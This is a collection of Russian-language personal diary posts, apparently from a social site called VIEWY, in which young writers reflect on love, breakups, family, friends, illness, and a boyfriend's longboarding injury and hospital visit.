Вы были когда-либо влюблены?Что такое вообще любовь?Для меня это был густой лес, я почти не разбиралась в ней, но сейчас, с каждым днем, изучаю ее.Могу сказать несколько слов, что она из себя представляет.Любовь чувство легкости, чувство полета, когда при встрече, вас с человеком соединяют, буквально вы становитесь одним человеком.Любовь это замечательно, вы находите убежище, в душе другого.Место, где будет тепло и уютно, несмотря на множество проблем вокруг, где вы можете найти утешение, поддержку, вселенскую доброту и милость, в которой вы можете погрузиться и растаять от одного слова.
Любовь делает из человека безумца, он бредит и думает только о следующей встрече, о том неповторимом, своем человеке, который будет особенным, среди массы людей, лучик солнца в пасмурную погоду.Любовь дает человеку надежду.Надежду на прекрасное, что в этом злом и алчном мире, который с каждый днем ужесточается, есть что-то нетронутое, что доступно каждому человеку и никто никогда не сможет забрать у него то, что внутри души, его чувства.
Вчера посмотрела чудный фильм "Гороскоп на удачу".Конечно же, он примитивный и все в нем, слишком красочно, что в реальном мире, случиться никак не может, но это же фильм.Так вот там была цитата, которая мне очень понравилась: "Лучше любить и потерять, чем вообще не узнать, что такое любовь" Абсолютно верная правда.Любовь меняет людей.Хоть будь этому всего лишь месяц, год или два, вы изменитесь.Это как вдохновение, которое приходит не всегда и иногда в недостаточном количестве, но именно это вдохновение, оно постоянное, на протяжении всех ваших встреч, хочется творить, что-то делать и радоваться жизни вместе с этим человеком.В доказательства есть куча фильмов всех времен.Могу также посоветовать фильм "Джейн Эйр".
Сейчас я перечислила лучшие качества любви, но не затронула проблем.Так и должно быть написано.
Ведь зачем думать о плохом, если есть хорошее?

Как бы я не психовала днем, меня жутко успокоили танцы. Лама-мое чудо, мое спасение. Она всегда так вовремя приезжает к Илье и вытаскивает нас всех на улицу, что это всегда чем-то заканчивается. Вчерашний вечер кончился впиской у Леши. Это стоило мне дикой истерики, но оно того стоило наверное. Я поняла, что текилу можно пить только на новый год, а засыпать и просыпаться в объятиях Леши я готова, кажется, всю жизнь. Не хочу говорить, что люблю. Но всегда и навечно

как вырезать человека из сердца? выковырять, чтоб ни одного воспоминания не было, чтоб все с корнем отцепить? как сделать так, чтоб если все, то навсегда, чтоб не болело, чтоб не думалось, не плакалось, не страдалось по нем? как???

даже самая большая любовь однажды приходит в такому этапу, который можно назвать одним большим словом "кошмар".

когда каждый разговор приводит к ссоре, когда плохого становится больше, чем хорошего.

когда на смену былой романтике приходит быт и непонимание.

каждая пара однажды проходит это.

с разницей в том, что одни спустя время говорят:

"мы прошли это вместе",

а вторые произносят:

"мы не сошлись характерами и разошлись"

Не спать вчера до 2 часов ночи было ошибкой. Сейчас 6:39. Я уже в поезде. Ровно через 20 минут отправляемся. Мне еще повезло, вчера приехала к брату, думала на вокзал если ехать то от него ближе. Но он вызвался отвести меня на машине. Вообще молодец он у меня. Да и наверное мы когда на море были вместе, то можно сказать сдружились. Ну, приходилось общаться же хд. Да и мне кажется чем старше я становлюсь тем моим братьям становится легче со мной общаться. Мне кажется они начинают воспринимать меня как полноценного члена семьи хд. Да и Сережа в принципе лучше Романа. Как бы это грубо не звучало сейчас. Но это факт. Он более покладистый, всегда предлагает помощь. Вот даже вчера я приехала в начале 12го к нему и он вышел встречать меня на остановку. При том что их дом буквально через дорогу. Да и я забыла зубную щетку, так еще сходил со мной в магазин. И вот сам предложил отвести меня на вокзал. Хотя он мог бы посадить меня на трамвай, а сам подольше проспал бы. Короче хороший у меня брат. Так вот, еду я в Хмельницкий. Надеюсь я тут посплю. Им с поезда мне на гульки - на девичник. Я вроде ничего важного не забыла. Послезавтра домой. Юлик отдыхает от меня эти дни ахах в принципе все.)

Скучаю он по отношениям?? Ахахахах, ну да. Даже на столько, что совесть потерял и совсем забыл как это, когда о тебе заботятся, что нужно быть хотябы благодарным. Конечно, так у него никого нет, а как только позвали куда-то, дак сразу забывает кто я

Одна мысль о том, что я за последние годы так и не нажила себе компанию, приводит в ужас. Зато все, с кем общаюсь, - проверенные люди

Ну почему кто-то бухой валяется на непонятной хате, а кто-то сидит дома и ждет. Хатико. Вот только нормально все, ну конечно, нужно же все испортить Я даже со счета сбилась уже сколько раз так получалось

Я бы хотела чтобы это лето прошло шикарно. Но что вы думаете? ДА, именно. Я его тоже просрала. Но я многое узнала, и теперь понимаю, что не стоит даже задумываться о смерти (что так популярно в моем возрасте), так как я еще не все попробовала :)

Я так хотела школу, что не подумала о прогулках с друзьями. Ведь они у меня наконец появились. А тогда, я думала что буду целыми днями сидеть за заданной в школе литературой. Но некие девчонки вытащили меня улицу. Хотелось бы их поблагодарить за мое спасение. Хочу оставшиеся дни провести намного лучше и веселее, чем просто сидеть и пялиться в экран с ужастиками (спасибо Волченку и Сверхъестественному)

Некоторые люди, которых мы знали, может изменить сообщество. Кого в худшую сторону, а кого в лучшую…

Раньше я любил лето, но потом понял, что лето может быть в любое время года, были бы деньги, теперь я люблю деньги.

Сегодня вышла на замену, работаю с противнейшей девочкой. Меня тошнит с самого утра, и тут она ещё.. Заговорили о беременностях, а она закоренелая чайлдфри, ну и такая: ой, лучше пусть желудок бы, пилюльки попьёшь-и рассосётся, а если ТО САМОЕ, то только выковыривать. Бля, с хрена ли мне выковыривать??? Кто вообще сказал, что я хочу это делать? Но она уже всё за меня решила, "в 20 лет рожать-это ужасно", а вариант, что ВДРУГ Я ХОЧУ РЕБЁНКА просто не существует) фу вообще быть такой зашоренной. Если уж на тебя в твою тридцаху никто не смотрит, то хули?

Я сидела и вдруг наглянул вопрос Я ЧТО МЕНЯ ОЛИЦЕТВОРЯЕТ, ТО О ЧЕМ Я ДУМАЮ ИЛИ ТО ЧТО Я ДЕЛАЮ ?? Я не смогла сразу ответить, но могу сказать что чувства это то что делает нас живими, то что помогает нас каждый день все силнее любить эту жизнь. То о чем мы думаем, о чем мечтаем, дополняет все наши пробелы, потому что когда мы думаем наши чувства берут вверх над нами, и мы чувствуем ту еуфорию, ту жажду получить еще и по острее. Мы любим, страдаем, огорчаем, скучаем, отдаляем; ради всех этих чувств мы каждое утро встаем, и каждые вечер лажымся спать. И теперь я гордо могу высказатся что я самый настоящий человек; потому что я постоянно думаю, мечтаю, скучяю о ком то. Я полностью себя отдаю чувствам и ощущениям, я один сплошной шар из мыслей и чувств. И могу точно утверждать что ваше олицетворение является все ваши истории, победы, доспехи, признание, что каждый день вы выкладываете на VIEWY. И так VIEWY для меня, и надеюсь для всех является то большое ЧУВСТВА что делает нас всех одна большая семья, ведь сдесь мы за всех переживаем, всем желаем лучшего и всего доброго, так давайте поблагодорим VIEWY за то что за все эти годы наполняет нас чувствами и делает из гас настоящих миротворцех. СПАСИБО! СПАСИБО!

Я хочу верить, что все будет после так как я хочу. Хочу жить этой верой во что то хорошее. Хочу просыпаться счастливой рядом с тем кто этого заслуживает. С тем кто будет ценить меня. Самое важное для меня добиться всех поставленных целей и пусть говорят, что мои цели, как у самой настоящей стервы. Я не успокоюсь, пока не буду той кем хочу быть. Кровью и потом добьюсь. Главное, не кому не говорит о них, а постепенно к ним стремится. Всё будет, но не сразу.

Вчера ездили с Радмиром (с братом) посвящать наших малышей студентов. Сначала свозили их в пиццерию. Потом гуляли по парку, а после посетили городское мероприятие, посвященное студентам. Динь и Бублик были счастливы. Возвращались домой по тёмным улицам города, потому что почему то во всем городе не было света, но это было круто. Посидели чуток в машине, поболтали о том какие сериалы лучше всего посмотреть. Родители еще решили сделать подарок братику, подарить ему новый телефон, в честь поступления на бюджет. В понедельник идем выбирать. А сегодняшний день и вечер провела с малышами по младше. Смотрели мультики, гуляли и ели арбуз. Как же я скучаю по маленьким детишкам и как же сильно я скучаю по лагерю.

А первую степендию я потрачу нааааа… Кучу макияжа! Все 10 тысяч солью на тональные крема, основы под макияж, тени и консилеры. А все потому что я идиот. Вот так вот :D Примерный список покупок, на самом деле, не умещается даже в 10 тысяч, но я поэтапно…

Поддержите меня и скажите, что я смогу на этом зарабатывать, после того, как отучусь в школе на визажиста. У меня уже хотя бы есть примерный работодатель (Ж). На самом деле, я уже заработала 2 сотки на этом :D Чисто символически мне дали деньги, хотя я не просила. Уж очень ей все понравилось.

Как только начнется вся эта волна - буду рассказывать все вам :)

Иногда достаточно посидеть поговорить с тётей и сестрой о всем происходящем в твоей жизни, попить горячего чая с мятой и мёдом и время бежит так незаметно, что пять часов пролетают, как пятнадцать минут. Время 03:50, а мы только разбежались спать. Так приятны эти разговоры по душам, когда взрослые тебе советуют, что делать в той или иной ситуации, когда мы все дружно смеемся над какой нибудь глупой шуткой и еще параллельно пытаемся уложить малышей. Кушаем холодный арбуз и вместе с сестрой смеемся над книгой, которую купила себе тетя, где она должна каждый день отвечать на какой то определенный ответ в течении пяти лет и смотреть как меняется её жизнь. Надеюсь, лет через пять мы все так же будем собираться в такие круги и мило беседовать обо всем на свете.

Всем кто не спится ДОБРОЙ НОЧИ. Я не могу уснуть и вот подумала чем же занятся и вот мыслишка, конечно VIEWY, он всегда поможет в трудную минуту. Так вот в этих днях что я ничего не писала, ничего особенно не случилось, кроме того что мне уже раз как 3 снится как я целуюсь с Ильей, в эти дни я не гуляла с С, потому что мой брат принципиальный недаумок, за это время я только делала что ела, слушала музыку, и не очень то спала иза него, и еще даже плакала по тойже причине. ПО ПОРЯДКУ… Я не знаю зачем мне снится сны, да и даже какие, с Ильей. Он по моиму мнению даже не представляет как он себя ведет в моих снах, конечно он тот же харизматичнный и жизнерадоснный ублюдок, что с помощу своей улыбкой и выражение лица, не дает мне спокойно идти возле его района. Даже если я ему об этом раскажу, он будет шутить и сделает невинную улыбку. НУ ПОПАДИСЬ ТЫ МНЕ ! Так по поводу С даже не хочу говорить, и даже его имя меня уже начинает раздражать. Он вроде ко мне тянется, но вовсе не звонит, не пишет, не ищет, не приглашает гулять. Коротко о нем - ЗАДАЛБАЛ. А плакала я потому что хотела его увидеть, а еще и поболтать, но ничего не вышла иза моего упертогого врата. ТАКАЯ У МЕНЯ СУДЬБА. ТЕРПЕТЬ ДОЛБАЕБОВ. Не хочу писать длинный пост, потому что он скучнный как моя жизнь, но хотя бы так я смогла очищить мою голову от ненужных мне вещей.

— Что это за шум?

— Я хочу заставить его попотеть. Я хочу бензопилы и огромные ножи. И я хочу их прямо сейчас.

— [Каждый, кто занимается сексом в этом фильме, умирает. Это круто!]
— Никакого секса!

nina dobrev as “Vicki” in The Final Girls movie.

Только мне стоило написать "Не болейте!", как заболела сама. Плохо мне стало еще позавчера вечером, когда мы тусили у Никиты на работе. Меня зазнобило, заболела голова, а глотать было больно из-за воспаленных лимфоузлов. Доехав кое-как до дома, я быстренько выпила таблетку, подержала ноги в горячей воде и завалилась спать. Но мне не позволяла дикая ломка во всем теле. Будто на каждую мышцу давили, а каждый нерв дергали как струны гитары. Родители приехали только часам к 11, но зато с лекарствами, так что в этом плане я хотя бы неохваченной не осталась.

На следующий день я осталась дома, лечиться. Никите строго-настрого запретила ехать ко мне, как бы он не уговаривал. И тут… Лежу я такая в ванной, отмокаю, книгу читаю, как вдруг звонок в дверь… Я быстро вытираюсь, укутываюсь и еще с надеждой, что мне показалось, иду смотреть в глазок… Нет, мне не показалось. По ту сторону двери стояли Таня и Никита. "Да вы издеваетесь? Вы серьезно?" - от удивления и смущения проговорила я. После того, как я открыла дверь, ко мне зашли два Человека с большой буквы, и один из них в руках держал букет роз. Мне было настолько приятно, что я даже не знала, как мне на такое реагировать. Я быстро домылась и вышла к ребятам. Мы мило посидели, поболтали и попили чаю, после чего попрощались на приятной ноте.

Сегодня был контест: открытый кубок России по лонгбордингу от Pepper Customs, в котором также принимал участие Никита. Я же не поехала лишь потому что понимала, что лучше мне еще денек отлежаться дома. Но ближе к вечеру мы с родителями решили пойти в кино. Во время сеанса мой телефон не успокаивался ни на минуту: сообщения вновь и вновь высвечивались на экране афона. Меня уже охватил интерес, кто же такой настырный… И тут сообщения: "Сонь, я в травме, только не волнуйся", а также фото от Чая, где лежит Никита, а над ним два врача из скорой помощи… Как только мы окончили просмотр, я мигом схватила телефон и позвонила Своему. "Что с тобой случилось? Где ты? Как ты? Ходить можешь? А стоять? В какой ты больнице? Куда мне ехать?" - сыпались вопросы один за другим. Никита ни в какую не хотел мне говорить, в какой больнице он находится. Я узнала, что с ним Таня, тогда написала ей. Она объяснила, что за больница, и я, не зная даже еще толком, куда вообще направляться, стремглав понеслась в метро, не успев даже распрощаться нормально с родителями.

Зарядки совсем немного, как добираться туда, никто не знает… Все звонили, у меня паника, я ошарашена новостью, истерика и ненависть ко всему. На глазах наворачивались слезы, но я понимала, что нельзя давать слабину. Через какое-то время я уже ехала в трамвае и вот-вот приеду к месту, но тут звонок и новость: "Меня положили в палату. Не выпускают и не впускают никого…" Нет-нет! Я не зря больная ехала сюда! Не для того, чтобы перед моим носом помахали ручкой и сказали "Приходите в часы посещения" !

К моему счастью нам решила помочь какая-то девушка лет 28. Она провела меня вообще через другой корпус, по каким-то дебрям больницы. И вот я здесь - стою прямо перед дорогим моим Человеком, который сидит с перебинтованным коленом на кресле-каталке… У нас было всего 15 минут, чтобы как-то поздороваться, пообниматься и попрощаться. Ближе к 9 часам позвонила Таня и сказала, чтобы я мигом отправлялась к выходу, ибо переход между корпусами, через который я проходила к Никите, закрывают в 21:00. Мы попрощались с Родным, и я, пытаясь вспомнить дорогу обратно и заходя в темные "переулки" страшного лабиринта, светя несчастным фонариком, вышла из отделения…

И вот я дома. Завтра заеду к Его маме за вещами и документами, а потом снова в этот несчастный травмпункт. Хоть бы все обошлось простым растяженем…

22.08.15

мы помиримся. это норма. завершение всех обид. "там, где было безумно больно, ничего уже не болит"(с). успокоимся.. это странно, но привыкли к таким вещам.. _______________________ глупо ссориться постоянно? или глупо всегда прощать?

Настало время приключений, идем со мной навстречу судьбе, я покажу тебе чарующий мир сидеть дома, сериал сам себя не посмотрит.